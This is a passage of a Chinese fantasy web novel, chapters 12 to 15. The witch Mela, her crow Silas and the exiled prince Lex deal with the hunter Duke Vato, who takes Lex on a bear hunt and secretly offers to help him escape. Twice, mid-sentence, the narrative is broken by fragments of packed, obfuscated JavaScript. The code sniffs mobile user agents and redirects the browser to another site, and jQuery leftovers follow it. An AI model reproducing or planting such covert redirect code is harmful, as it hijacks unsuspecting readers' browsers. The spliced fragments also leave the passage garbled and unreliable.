作为商人之子,巴奇显然比其他人更懂得衡量,天平上,想让姐姐活下去的欲望占了上风,他咬了咬牙,不再犹豫,在梅拉给出的欠条上签下了自己的名字。 这张欠条同时也是一张地图,能够指引巴奇来到梅拉惯常与客人们联系的树下,放下他答应好的报酬。 既然交易完成了一半,该把客人送出黑暗森林了。 梅拉刚想开口喊莱克斯,却看到了瘫在窗台上懒洋洋地翻了个身的塞拉斯,她眯了眯眼,改变了主意,“总是只把活交给莱克斯来干,未免对塞拉斯你太不公平了,这回就把这个替我干活的好机会交给你吧。” “什么?我不!”塞拉斯一口回绝。 “不什么?”梅拉单手拎起塞拉斯,凑近它,语气危险地反问,“你不愿意?” “怎、怎么可能呢,”塞拉斯讪笑两声,总算意识到梅拉这回可不打算纵容它的懒惰,立马改了口风,“为伟大的女巫梅拉效劳是我的荣幸。我说的是我不会把这个好机会让给莱克斯的。” “那你去吧。”梅拉松开手,把塞拉斯往半空中一丢。 塞拉斯本能地扑腾翅膀,没想到最近身上长的肥肉让它一时间有些不适应,身子一歪,差点斜着撞到树上。 听到梅拉在身后发出的无情嘲笑,塞拉斯默默含泪,一边老老实实地给巴奇带路,一边惊觉自己是真的要开始减肥了。 救命,它可不想当世上第一只胖到飞不起来的乌鸦。 12. 第 12 章 距离梅拉将信寄出去,已经过去了半个多月,然而本应该带着她与塞拉斯心心念念的南瓜饼登门的男人,却迟迟没有出现。 怎么回事? 以往接到信后,最迟三天内,杜克瓦托就会带着梅拉需要的东西前来,这回却一反常态,磨蹭了半个多月。 眼看着昼夜都交替了十八个轮回,该吃上的南瓜饼仍然不见踪影,塞拉斯天天盼星星盼月亮一样盼着杜克瓦托到来,顺便找着机会就要凑到梅拉耳边念叨。 “梅拉梅拉,你快用你的水晶球占卜一下,杜克瓦托是不是出什么事了?他到底什么时候能来?” “你别急呀。”梅拉说着,下一秒,水晶球就像变魔术一样突然出现在了她的怀里。 塞拉斯:“……”到底是谁急? “水晶球告诉我,我很快将会得偿所愿。”梅拉盯着水晶球里不断变化的烟雾,解读道。 也就是说,杜克瓦托很有可能已经在来黑暗森林的路上了。 “很快有多快?”塞拉斯不太满意这个答案,迫切地想要知道更详细的日期。 “那你就自己问水晶球去吧。”梅拉笑眯眯地把她用双手才能捧住的水晶球放到塞拉斯的脑袋上。 感受到头顶的重量,塞拉斯顿时连动都不敢动了,整只鸟定定地立在桌子上,仿佛一个栩栩如生的乌鸦摆件。 没办法,要是塞拉斯一个不小心把水晶球给摔了的话,到时候哪怕梅拉不会生吃了它,也一定会用更可怕的办法惩罚它的。 呜呜呜,塞拉斯好惨。 塞拉斯暗自在内心流泪。 同时后悔自己刚才为什么要多嘴问那一句。 它也不想想,如果水晶球告诉了梅拉具体的日期,梅拉又怎么可能不直接说出来呢。 但水晶球的占卜确实很准,第二天,小木屋的门口出现了一道熟悉的身影。 男人还是老样子,一身轻便的猎装,蹬着短靴,背上还背着自制的长弓与满满当当的箭筒。他的面容算不上英俊,却也棱角分明,留着短短的胡茬,看过来的一双灰眸亮得惊人。 “嘿,看我给你们带什么来了?”杜克瓦托举起手里拎着的布袋子,有包不住的香气自里头逸散到空气中。 是南瓜饼的香味。 也只有集市上放了足量白砂糖的南瓜饼,才能飘出如此香甜的气味。 “太好了!杜克瓦托你终于来了!”塞拉斯率先发出惊喜的叫声,它迫不及待地飞到杜克瓦托肌肉结实的小臂上,站稳后,不住地拿自己的喙去啄打了结的布袋子。 “诶诶,小心点。”眼见打好的结被塞拉斯啄开,杜克瓦托及时地用手把松开的布角抓住,这才避免了包好的南瓜饼全滚到了地上去。 塞拉斯叼着一块南瓜饼飞走了,它知道有杜克瓦托在,是不可能让南瓜饼就这么掉到地上去的。 梅拉从不吃掉到地上的食物。 “这回你怎么来得这么慢?”梅拉也从布袋子里捡了块南瓜饼放到嘴里吃着,或许是因为酝酿了漫长的期待,总感觉这次的南瓜饼比记忆里的还要美味。 幸好莱克斯一大早就出门去了,梅拉偷偷决定把应该留给他的份多解决两块。 “这不是难得碰到了老朋友么。”说到这事,杜克瓦托的语气中透着些许无奈,“要不是看他浑身是血的可怜样,我才懒得管他。” 管都管了,杜克瓦托干脆留在家里,一直把人照顾到能够行动自如为止。 “说起来多亏了你送来的那十瓶治愈药剂,否则我看我那个老朋友离见死神也不远了。”杜克瓦托道。 梅拉忍不住轻轻咂舌,巴奇那样奄奄一息的情况也不过只用了一瓶治愈药剂就救了过来,杜克瓦托这个老朋友却用了足足十瓶治愈药剂才恢复,伤得可真够重的,换句话说,伤成这样都能活过来,他的命可真够硬的。 不过这人毕竟与梅拉无关,梅拉的好奇心点到即止,并不多问这人是为什么受的伤,相比之下,她更在意杜克瓦托有没有把欠她的钱带过来。 上一回,杜克瓦托说手头没钱了,和梅拉签了一张欠条,说十天后一定会还。 看在这么多年杜克瓦托一直帮她在各个城镇跑腿的份上,梅拉爽快地答应了。 结果十天又十天,杜克瓦托不仅没有按时来还钱,还又欠下了十瓶治愈药剂,因此在寄给杜克瓦托的那封信上,梅拉特地用红墨水在信纸的最后一行注明,要求杜克瓦托在带南瓜饼来的同时,不要忘了把欠她的四金币二十银币带上。 想到这,梅拉瞟了一眼杜克瓦托的腰间,皮革腰带将钱袋、匕首等物勒得严严实实,重点是钱袋沉甸甸地往下坠着,看上去还挺有分量的样子。 注意到梅拉的视线,杜克瓦托当着梅拉的面用手把自己的钱袋遮了遮,笑容有些无赖,“你看这次买南瓜饼的钱,还有上次我按照你给的清单,买的墨水、羊皮纸等等,都还没来得及和你算账呢。看在我们这些年的交情上,不如你给我抹个零怎么样?” “这样,我出四枚金币,这些账直接一笔勾销,如何?”杜克瓦托朝梅拉比了个数。 换来梅拉一声冷笑,“我差点还以为现在一枚铜币就能换一枚银币了呢?” 否则二十枚银币,杜克瓦托竟然敢说抹掉就抹掉,简直是狮子大开口。 要知道按照如今的物价,一枚金币能换六十枚银币,一枚银币则能换到二百四十枚铜币,二十枚银币放到市场上,完全可以买一头年轻又强壮的耕牛回家了。 梅拉疯了才会同杜克瓦托做这笔亏本买卖。 “该是多少就是多少,你一枚铜币都别想少我的。”梅拉相当干脆地拍板决定,不给杜克瓦托继续讨价还价的机会。 “好吧,好吧。”杜克瓦托叹息一声,就知道想占梅拉的便宜比登天还难。 他解下腰间的钱袋,往手里一倒,倒出了不少银光锃亮的银币。 杜克瓦托一枚一枚数过去。 等把要给梅拉的银币数够,统统放到桌子上,直接在堆起了一座巴掌大的小山,而杜克瓦托原本鼓鼓囊囊的钱袋肉眼可见地瘪了下去。 “唉,也不知道我要打多少猎物,才能重新把你的肚子填满呢?”杜克瓦托装模作样地抖了抖他的钱袋,只能听到零星的撞击声从中传来。 猎人可不是好当的。 哪怕是像杜克瓦托这样远近闻名的优秀猎人,每一次上山或是进入森林,同样要冒着受伤的风险。 尤其受了伤后如果没能及时得到治疗,很大可能因为失血过多而晕过去,然后再也醒不过来。 哪怕好不容易捉住了猎物,普通的野兔、狍子在商人的眼里可卖不上价,得是一些稀罕的,比如皮毛漂亮的红狐狸、年轻健壮的公鹿,才能让那些吝啬的商人松开钱袋,笑呵呵地捧出钱来。 “什么时候你连赚这点钱都要发愁了?” 梅拉挑眉,别以为她自打进入黑暗森林后没出去过,就不知道杜克瓦托的光荣事迹了。他可是十六岁的时候就能独自上山,扛下一张完整的熊皮,成功在附近几个城镇名声大噪的厉害角色。 熊皮啊,这可是受牛哄哄的贵族老爷们喜欢的好东西,慕名而来的商人们差点把杜克瓦托的家门都快踏烂了。 说来也怪,分明杜克瓦托这些年猎过不少稀罕的猎物,还都高价卖了出去,最后却愣是一点钱都没攒下来,时不时还要跟梅拉哭穷。 一开始,梅拉只以为这是杜克瓦托想在她这占便宜的手段,但后来梅拉发现,杜克瓦托竟然是真的穷! 只不过靠着一身厉害的打猎技艺,杜克瓦托倒也不至于沦落到多么窘迫的境况,虽然时不时要跟梅拉打欠条,但每回也都能按时把欠的钱还上。 不然就算看在两人多年的交情上,梅拉也是不乐意当这个有借无还的冤大头的。 “对了,我还想在你这买两瓶治愈药剂。”杜克瓦托掏出自己所剩无几的钱,这回他的钱袋里是彻底连响声都发不出来了。 没想到梅拉却把钱给他推了回去,“没了,上回炼制好的治愈药剂一瓶也没有了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633925|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那……” 知道杜克瓦托想问什么,梅拉打断了他,“最快五天,五天后,我才能准备好材料,炼制出一批新的治愈药剂。” 既然梅拉都这么说了,杜克瓦托叹了口气,“看来我只好再等等了。” “出门前,我还把我的全部家伙都带上了,以为今天能把那头大黑熊给解决了呢。”杜克瓦托半是玩笑半是认真地道。 “大黑熊?”梅拉第一时间想到了住在小木屋附近的山洞里,那头正值壮年,人立起来有两米多高的大黑熊。 早在梅拉住进黑暗森林之前,那头大黑熊就一直住在这里了,甚至梅拉的小木屋,就正处于它的领地范围之内。 只不过梅拉让被施了变大咒语的塞拉斯往外转了一圈,巨大的体型差令那头大黑熊本能的望而生畏,并不敢轻易靠近小木屋,对梅拉侵占它领地的举动睁一只眼闭一只眼,日子便这样相安无事地过了下去。 现在杜克瓦托居然说他打上了那头大黑熊的主意。 算了,能猎到黑熊也是杜克瓦托的本事,梅拉不支持也不反对。 “我回来了。”门外突然响起莱克斯的声音。 只见莱克斯一手提着一只肥硕的灰色野兔,因为杜克瓦托挡在了门口,他不得不用这种方式提醒这个突然出现在小木屋的陌生男人,让一让。 杜克瓦托诧异地转身,打量这个突然出现的男孩。 怎么一段时间没来,梅拉这竟然就多出了个一个人? 在杜克瓦托打量莱克斯的同时,莱克斯同样光明正大地打量了回去。 好高。这是莱克斯的第一反应。 面前这个男人起码有接近两米的身高,放眼整个王国,都未必能找出几个和他一样高的。 再加上长年的锻炼,裹在猎装下的体格肉眼可见地强壮。 不知道如果有机会让他与切尔各切磋的话,谁将更胜一筹。莱克斯暗暗将两人进行比较。 据莱克斯所知,切尔各之所以能以平民之身被破格擢升为骑士长,正是因为他轻轻松松便能以一挑十,有着令人钦佩的武勇。 然而男人带给莱克斯的压迫感竟然丝毫不输于切尔各,看着莱克斯的眼神也带着意味不明的审视。 “好肥的两只兔子。”梅拉从杜克瓦托身后探头,打破了这场无声的对峙。 莱克斯顿时移开目光,仿佛不经意般提及,“两只兔子而已,捉回来不管是用树枝串起来直接放在火上烤,烤出一层淋漓的油光后再加调料,还是剁成肉块后裹上一层蜂蜜慢慢煎,最后再撒上黑胡椒调味,味道应该都很不错。” 光是听莱克斯这么说,梅拉已经觉得馋了。 可莱克斯犹觉得不够似的,继续道,“可惜两只兔子的分量还是太少了,不然肯定能做出更多的花样,等我明天再去多打几只兔子回来。” “好啊,那就全靠你了。”梅拉果然美滋滋地道。 见状,莱克斯心底松了口气。 今早,他和梅拉提出不想 就这么荒废了自己的武艺,希望每天都能外出一小段时间时,梅拉想也不想便欣然同意了。 反正她需要莱克斯干的活其实并不多,空闲的时候他爱干什么就干什么。 但莱克斯为了保险起见,还是捉了两只兔子带回来。 他想,梅拉今天可以同意他出门,后天也可以不同意他出门,但他如果用美食打动了梅拉,那就不一样了,梅拉到时候大概巴不得他天天出门。 果然,梅拉如莱克斯希望的那样上钩了。 “嘁,两只兔子而已,哪怕换个刚懂得走路的小鬼,只要会设陷阱,都能随随便便抓几只兔子回来。”杜克瓦托突然开口道。 莱克斯心中对杜克瓦托的身份隐隐有些猜测,但不知道他为什么忽然像是挑衅似的道。 更挑衅的话语还在后头,杜克瓦托傲慢地以居高临下的姿态盯着莱克斯,露出一个不怀好意的笑容来,“抓这种软绵绵的小东西有什么意思?喂,你有没有胆子和我一起去狩猎黑熊?” 13. 第 13 章 听到杜克瓦托的话,莱克斯的第一反应便是看向梅拉。 这么久了,他虽然不会真的把自己当仆人看待,但也培养出了一点仆人的自觉,比如一件事若是没有得到梅拉的同意,他就是再心动,也会选择忍耐下来。 收到莱克斯的目光,梅拉毫不意外地挑了挑眉,就知道他会心动。 于是梅拉笑吟吟地道,“去吧,杜克瓦托十六岁就能独自猎下一张完整的熊皮,你跟着他一定能学到不少东西。” 莱克斯的眼中不禁划过一抹欣喜。 不管杜克瓦托究竟怀抱着怎样的目的,他对自己的态度又为何如此古怪,敏锐如莱克斯,可以肯定杜克瓦托刚才说那番话时确实怀揣着一种说不清道不明的恶意,但如果梅拉所言非虚的话,这样一个精进武艺的好机会,莱克斯可不会因为明知有危险而白白放弃。 他以后将要踏上的道路,肉眼可见的会是一条荆棘遍布之路,眼下若是不抓住每一个能让自己强大起来的机会,未来离开黑暗森林后,他又拿什么夺回属于自己的王位? 和莱克斯脑内思绪纷杂不同,梅拉单纯奇怪杜克瓦托明明是第一次见到莱克斯,为何却像是看不顺眼他一样。 “你怎么回事?莱克斯哪里招惹到你了?”梅拉心里是这么想的,干脆也是这么问的。 “哎呀,这不是看到某个小鬼拎着两只兔子就骄傲得不行,想让他见识见识什么叫真正的打猎么。在我们这些猎人的眼里,兔子可算不上什么好猎物。” 杜克瓦托耸了耸肩,态度十分坦荡。 正因为他的坦荡,梅拉反而不疑有他,只是再一次提醒了一遍时间,“记得五天后按时过来拿你定好的东西。” “记住了。”杜克瓦托挥挥手,不再留下来碍事,转身抬脚就走。 莱克斯适当地让开了一条道,供杜克瓦托离开。 他却没有再看莱克斯一眼,就这么目不斜视地走过去,很快,杜克瓦托的身影消失在了树林之间。 五天的时间说短不短,说长却也并不长,不过是一眨眼的功夫,杜克瓦托便重新出现在了小木屋附近。 莱克斯早已整装待发,安静地站在小木屋前面的空地上,等待着杜克瓦托的到来。 “怎么只有你一个人?”杜克瓦托瞧见莱克斯身后紧闭的木门,往常只要有梅拉或是塞拉斯在,这扇木门永远朝外敞开,欢迎任何人前来到访。 “梅拉带着塞拉斯去找克丽芙的果实了。”莱克斯语气淡淡地答道。 传说中,克丽芙是海洋之神的女儿,海洋是她的家,也是困住她的囚笼,一旦离开海水,克丽芙便会化为一场泡沫消散于空气之中。 即使如此,克丽芙依然无比向往陆地,不惜化作一场雨水,将自己的身躯洒往大地上的各个角落。 而代表她眼睛的那部分,则掉落在悬崖之上,催生出一种长相特殊,堪称丑陋的植物。 它苍老的表皮上长着许多疙瘩似的瘤子,太阳的光辉将这些瘤子晒得皮开肉绽,露出粉色的内里,在一场雨水过后,会有纯黑色的仿佛眼珠子似的果实自此长出。 由此人们称呼它为“克丽芙的果实”。 前天恰好下了一场大雨,还下了足足一天一夜,好不容易等雨停了,梅拉立刻兴冲冲地带着塞拉斯出门去了。 毕竟悬崖这种地方,还是能变大,又能载着梅拉到处飞的塞拉斯更有用。 好不容易重新得到为梅拉效劳的机会,塞拉斯出门前,胸脯挺得高高的,趾高气昂地瞪着一双黑豆眼,得意地瞥过面色平静的莱克斯,故意拿腔拿调地道:“唉,果然我这双翅膀没有任何人可以取代。” 像莱克斯,无非也就能给屋子里扫扫灰、收拾收拾餐具,这些不过是塞拉斯不乐意干的活,哪怕现在梅拉张口莱克斯闭口莱克斯,塞拉斯仍然坚信,在梅拉的心里,它塞拉斯的分量更胜一筹。 瞧,让塞拉斯大展身手的时刻这不就到了么。 莱克斯居高临下地看了塞拉斯一眼,他才不屑于和一只乌鸦争宠。 “你那是什么眼神?”塞拉斯被莱克斯看得毛都炸了。 “没什么。”莱克斯慢条斯理地移开眼。 塞拉斯不依不饶的还想再说点什么,却让梅拉的催促给打断了,“行了塞拉斯,你和莱克斯在那里嘀嘀咕咕什么呢?还不快点过来。” “哼,看在梅拉的面子上,我就不和你计较了。”塞拉斯丢下自以为气势汹汹的一句,拍着翅膀飞到梅拉的面前。 接下来只见梅拉嘴唇微张,对着塞拉斯喃喃了几句,随后塞拉斯便在她的眼皮子底下逐渐变大,变得越来越大,直到如同一座小山那样高大,才终于停止了生长。 头一回面对这样巨大的塞拉斯,莱克斯不可避免地感到一阵心悸,这是来自本能的恐惧。 下一秒,塞拉斯发出了毫不留情的嘲笑:“天哪,莱克斯你好小啊,看起来还没我的爪子大。” 说着,塞拉斯往前伸了伸它的爪子,冲莱克斯得意洋洋地比划。 莱克斯的心情顿时成功地恢复了平静,果然就算变大了,塞拉斯还是塞拉斯,它的脑袋里压根没法塞下更多的智慧。 只不过是外表唬人而已。 几次呼吸的功夫,梅拉熟稔地爬上塞拉斯的背,稳稳当当地坐在了上头。 “好了,塞拉斯,我们走吧。”梅拉揪了揪塞拉斯的羽毛,这点力度对它而言连挠痒痒都算不上。 塞拉斯会意,瞬间腾空而起,上下拍打的翅膀掀起了一阵猛烈的巨风,把梅拉那头火焰一般热烈的红发吹得四散纷飞。 随着塞拉斯远去,留在地上的莱克斯只能望见它的背影逐渐缩小,最后化为一个针眼大的小黑点,消失在了他的视线之中。 梅拉与塞拉斯离开后没多久,莱克斯等来了按照约定到来的杜克瓦托,他打开腰间的小包,掏出了梅拉提前交给他的两瓶治愈药剂,递了出去。 杜克瓦托随意地把两瓶药剂塞入腰间,用皮革腰带的扣子固定住,听到梅拉去找炼制魔药的材料了,他什么也没说,只深深地看了莱克斯一眼,道,“那我们也走吧。” 莱克斯嗯了一声,用不远不近的距离紧紧地跟在了杜克瓦托的身后。 随着他们离开,四周彻底地安静了下来。 * 梅拉与塞拉斯先莱克斯一步回到了小木屋之中。 梅拉随手把装得满满当当的篮子往地上一放,没想到她这次的运气竟然这么好,摘到了不少克丽芙的果实,原本没有把握一举炼制成功的新药剂,现在看来似乎也不是没有希望。 “也不知道莱克斯怎么样了?打猎黑熊这么危险的事,他不会受伤吧?”变回正常体型的塞拉斯蹦跳到桌子上。 “嗯?你竟然担心莱克斯会受伤吗?”梅拉有些讶异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640045|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没想到塞拉斯对莱克斯的担心居然压过了它以往对杜克瓦托的信任。 “哼,我只是担心他如果受伤了,就找到借口逃避干活罢了。”塞拉斯傲娇地一扭头。 不过塞拉斯也不是那么担心莱克斯的安危,毕竟它偷偷看到了,梅拉往莱克斯的小包里塞了三瓶治愈药剂,多出来的那一瓶是专门给谁的简直不言而喻。 “我回来了。”莱克斯略显狼狈的模样忽然出现在了小木屋的门口。 只见他的衣服上不仅多了好几道被划烂的口子,金灿灿的发丝间还夹杂着不少草屑,仿佛在地上滚过好几圈似的。 当然,最吸引注意的还是莱克斯脸上那道新鲜的爪痕,它从靠近鼻翼处的位置,一路来到了莱克斯的耳后,其中隐隐有粉色的皮肉外翻出来,简直看得人触目惊心。 只要力道再深一点,说不定都能看见皮肉底下的骨头了。 “怎么回事?杜克瓦托还真的欺负你了?”梅拉微微睁大眼,以她对杜克瓦托的了解来看,他顶多嘴上口花花,不可能真的欺负莱克斯一个十二岁的孩子才对。 又不是仇人。 等等,梅拉抬着下巴陷入回忆,平时杜克瓦托好像经常用嘲弄的口吻嘲笑那些无所事事养尊处优的贵族们来着。 曾经梅拉根本没把这当一回事,毕竟哪个平民不讨厌这些没事就爱涨税收,动不动还要在领地内兴师动众的老爷夫人们呢? 然而归根究底,贵族们是王室册封的,他们奢靡的生活也是国王默许的,不如说,国王的生活可比贵族们还要铺张浪费。就拿努伦格尔九世来举例,他每年举行舞会倒掉的葡萄酒比地里长出来的粮食还要多。 再看看莱克斯那显眼的金发金眸,来自王室的血统毋庸置疑,杜克瓦托若是恨屋及乌…… “杜克瓦托没有欺负我。如果不是他及时把我从熊掌下救出来,我或许就不只是留下这道伤痕而已了。”莱克斯的话打断了梅拉的遐思。 寥寥几句,已然足够推测出当时的情况有多么危急。 但莱克斯却不欲与梅拉多谈此事,又不是小孩子了,受伤了还要哭着和大人撒娇。 他从腰间的小包里掏出杜克瓦托让他转交给梅拉的十六枚银币,接着没事人一样去准备晚餐了。 反倒是梅拉盯着莱克斯的背影,露出若有所思的神色。 夜里,莱克斯裹着毯子,忍不住回想起下午那一幕。 此时这头前不久还凶猛异常,让莱克斯形容狼狈的大黑熊已经重重地倒在了地上,它不甘地瞪着一双眼睛,渐渐失去了呼吸。 而杜克瓦托随意捡起地上的草叶,把匕首上的血污抹去,重新恢复成银光闪闪的模样,准备开始给大黑熊剥皮。 莱克斯脸上不断传来剧烈的疼痛,更有豆大的汗珠偶尔从额间滑落,洇入伤口,让莱克斯不得不咬紧了牙关,才能压抑住差点脱口而出的痛呼。 刚才情况紧急,顾不上收拾伤口,现在莱克斯总算能掏出止血药粉,一股脑地倒在了脸上。 至于梅拉给他额外准备的那瓶治愈药剂,莱克斯没动,这点小伤看着恐怖,却也不是不能自愈,无非是多花点时间罢了。 忽然,背对着莱克斯的杜克瓦托道,“你想逃离黑暗森林吗?我可以帮你。” 仿佛平地炸起一声惊雷。 莱克斯的手一抖,差点把最后一点药粉倒进眼睛里去。 14. 第 14 章 梅拉睁开了眼。 月色自窗外流淌进来,为颜色暗沉的木质地板铺上了一层浅浅的银辉。 借着这点微不足道的光亮,梅拉可以清楚地看见角落里,深红色的毯子掀开了一个角,本应该睡在其中的人却不见了踪影。 小木屋外,莱克斯坐在一块扁平的大石头上,曲着一条腿,双手撑在身后,静静地仰望漫天的繁星。 “大晚上的不睡觉在这看什么呢?” 梅拉的声音自莱克斯的身后传来。 其实莱克斯早就听到了一阵脚步声,大概梅拉压根就没想过要掩饰。 她毫不客气地推了推莱克斯,让他往旁边让让,一撩裙摆,自己也坐到了石头上。 莱克斯默默地把大部分位置让了出来,然而梅拉浅褐色的裙摆还是有一点边缘搭到了他的腿上。 以莱克斯的眼界来看,这条裙子自然非常一般,布料过于厚重,质地过于粗糙,再加上缝合处显眼的线头,简直像是直接披了个麻袋在身上。 又因为浆洗过太多遍,裙子的颜色已经开始泛白,即使是王宫里最下等的女仆,也不会穿得这样不体面。 但因为穿着这条裙子的人是梅拉,又好像不值得为此而大惊小怪。 她和莱克斯认知中的贵族淑女截然不同。 爱睡懒觉、讨厌干活、只喜欢听别人夸自己的好话等等,相比之下,不修边幅只是梅拉身上最不值一提的一点。 “你还没回答我的问题,在这看什么呢?”梅拉弯起手肘,顶了顶身旁莱克斯的肩膀。 “……在看星星。”莱克斯答道。 “看出什么来了吗?”梅拉锲而不舍地追问。 看星星能看出什么花来? 莱克斯沉默了一会儿,伸出食指指到,“这是附近所有星星之中最亮的一颗。” “啊,是这颗星星。”梅拉好像认识它似的,发出一声喟叹。 见莱克斯眼神微妙,梅拉笑吟吟地捧着脸颊,同样抬头仰望这片深邃的夜空,“占星术可是一门古老的、只有女巫才能学习的传统预言术。” 在女巫们的心中,每一颗星星都代表着一个人的命运,基本一颗星星会随着它所代表之人的成长变得越来越明亮,又随着这个人的衰亡逐渐黯淡。 但也并非所有人都是如此。 “譬如代表你的那颗星星,生来就比别的星星更亮。”梅拉道。 “为何?”莱克斯的眼神一动。 涉及女巫才懂得的神秘知识,莱克斯和任何一个普通人一样充满了探究的欲/望。 “因为你和其他人不一样,你是王子,你的一举一动生来就能影响到很多人。”梅拉理所当然地道。 就好像一颗小石子投入湖泊之中,只能产生轻微的涟漪,但若是投下一颗巨石,定然会引起整个湖泊的震荡。 莱克斯垂下眼,他当然从小就知道自己的责任重大,亦一直以最严格的要求约束自己。 说句僭越的话,莱克斯冷眼看着他的父王每日醉生梦死,沉溺享乐,虽然有斐南基这样值得信任的臣子替他操持政事,可一个国王如果连自己的权柄都要分一部分给臣子,那他屁股底下的王位,又为何不能让别人来坐呢? 梅拉像是没有察觉到莱克斯情绪上的异样,还在自顾自地用最浅显的话语为他解释占星术:“别看星星们是分散的,但那些特别明亮的星星会用自身的能量牵引其它的星星逐渐靠近,就像你的骑士长一样拱卫在你的四周。” “能量越大,吸引到的星星就越多,所以按理来说围绕在努伦格尔九世周围的星星是最多的,毕竟他只要随便下达一个命令,就能影响到成百上千的人。” 这种巨大的能量,甚至足以令许多人既定的命运发生转折。 譬如可以让一名大商人顷刻间倾家荡产,也可以让一名受人白眼的乞儿一跃成为炙手可热的人物。再或者,令原本受人尊敬的女巫们被人群厌恶、驱赶,不得不躲入僻野之地。 这便是赫赫王权。 “不过,你要不要猜猜,现在围在努伦格尔九世身边的星星还剩几颗呢?”梅拉侧过脸,朝莱克斯狡黠一笑。 “……”莱克斯抿住唇角,虽然作为王储,他不认可努伦格尔九世的种种行径,作为儿子,他亦觉得努伦格尔九世这个父亲做得有些失败,但他怎么可能真的希望努伦格尔九世沦落到岌岌可危的境地——一旦失去了那些拱卫在他四周的人,他这个王位,真的还能坐得安稳吗? 梅拉见状,仍在孜孜不倦地加码:“你真的舍得错过这么好的机会吗?下次我可未必还有这样的好心了喔?更何况除了努伦格尔九世,难道你就不关心其他人吗?” 譬如谋划了这一切,害得莱克斯不得不沦落宫外的继王后,她究竟勾结了哪些人,帮助她亲生的小儿子成为新的王储;又譬如非宰相一派的大臣,他们又在这种局面下进行了怎样的抉择……这些都能通过星星知道答案。 只要莱克斯点头,梅拉倒也不介意为他拨开些许笼罩在未来的迷雾。 “不。”莱克斯的嘴唇微张,吐出了坚定的拒绝。 “我不需要知道这些,既然命运是可以更改的,那我势必要让它按照我的想法改变前行的轨迹。” 如果不是他莱克斯想要的命运,那干脆就不要了!他只会走向他期望的那个未来。 思及此,从下午拒绝杜克瓦托之后一直困扰莱克斯的那个问题仿佛忽然就解开了,他看向梅拉,与那双幽绿的深潭似的眼眸对视,“下午的时候,杜克瓦托曾告诉我,如果我想的话,他可以帮我从黑暗森林逃走。” “是吗?”虽然莱克斯的坦白来得猝不及防,可梅拉看上去好像一点也不惊讶。 是一贯的不好奇,还是她早就洞察到了端倪?莱克斯暂时推敲不出结论。 “杜克瓦托他为什么要帮你呢?”梅拉其实还是好奇的,只不过她好奇的方面与莱克斯想象的不太一样。 “他说他和切尔各是朋友。”莱克斯答道。 乍一听到这件事,莱克斯难免心中掀起一阵波澜,怎么会这么巧?杜克瓦托竟然是切尔各深交多年的友人。 不仅如此,切尔各替莱克斯引开追兵,以至于身受数箭,失血过多,体力不支地昏倒在某处被人特意挖来捕猎的陷阱里时,也是杜克瓦托及时救了他。 “那个陷阱,该不会 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无奈之下,再加上伤势已经痊愈,切尔各便同杜克瓦托道别,决定先回王城一趟。 既然要找人,他一个人的力量不足,那就找更多的人来帮忙。 再后来的发展就连杜克瓦托都心下一惊,他压根没想到切尔各找了半天的小王子猝不及防地出现在了自己的面前。 好在杜克瓦托见惯了风浪,及时稳住了表情,还靠一招故意挑衅把莱克斯从梅拉手里要了过来。 最后的最后,就是杜克瓦托提出可以帮忙逃跑,而莱克斯拒绝了他。 说一点也不心动那是假的,可做人要言而有信,哪怕莱克斯和梅拉的主仆约定只是单纯口头上的约定,没有签下任何契约,但莱克斯也不想就这样违背自己的诺言。 听到莱克斯拒绝了自己,杜克瓦托看起来一点也不生气,反而点了点头,露出一个不怀好意的笑容,“看在你还算聪明的份上,告诉你一个秘密。如果你刚才真的答应了我,那你才要完蛋了。切尔各要成为骑士,要守护谁是他的事,与我无关,我怎么可能傻乎乎地帮你逃跑。” 相反,若是莱克斯决心要逃跑,杜克瓦托一定会反手把这事捅给梅拉知道,换取自己想要的利益。 比如两瓶免费的治愈药剂。 ……尽管知道自己做出了正确的选择,可人就是这样,总会设想未曾发生的可能,揣测它或许将比现实更称心如意。 莱克斯也不曾幸免。 不过现在,莱克斯再也懒得纠结这些莫须有的事情,他很清楚,想要的未来一定会握在他自己的手里。别的,以后再看。 至于梅拉。 梅拉懒洋洋地打了个哈欠,“我困了,你还要继续看星星吗?” 不等莱克斯回答,梅拉先一步跳下石头,径自往小木屋内走去,“不管你看不看,反正我要去睡觉了。” 莱克斯默默地跟在她的身后,同她一道回去。 临关上门前,他最后望了一眼遍布繁星的夜空。 先前被他指出来的那颗星星,依然闪烁着附近最亮的光芒。 15. 第 15 章 不对劲。 塞拉斯莫名觉得很不对劲。 仿佛一夜之间,梅拉与莱克斯的关系便骤然升温,如同冬日壁炉里窜起的火苗,烧得老高。 然而具体是哪里不对劲,塞拉斯却一时之间摸不着头脑,它悄悄地挪动身躯,将脑袋藏在了翅膀后面,假装在睡觉,实则暗中观察着两人。 唔,只见梅拉依然和往常一样爱使唤莱克斯。 这不。 “莱克斯!” 梅拉的声音高高扬起。 她一边拎着手里的羽毛笔,一边探头到窗外,窗外的阳光正好,明媚地照亮了她的周身,仿佛蕴着一层细腻的油彩。 连轻轻皱起的鼻子都瞧得一清二楚。 “我的墨水又用完了。”梅拉道。 莱克斯正提着一个水壶,给屋后摆成一排的花盆浇水。 花盆里种着之前梅拉和莱克斯摘回来的珍珠草。 珍珠草是长在水里的植物,因此花盆里没有泥土,只有满满一盆清澈见底的水。 而莱克斯提着的水壶里,却是倒了生长药剂的水。 每隔一段时间,莱克斯就要来给这些珍珠草加料。 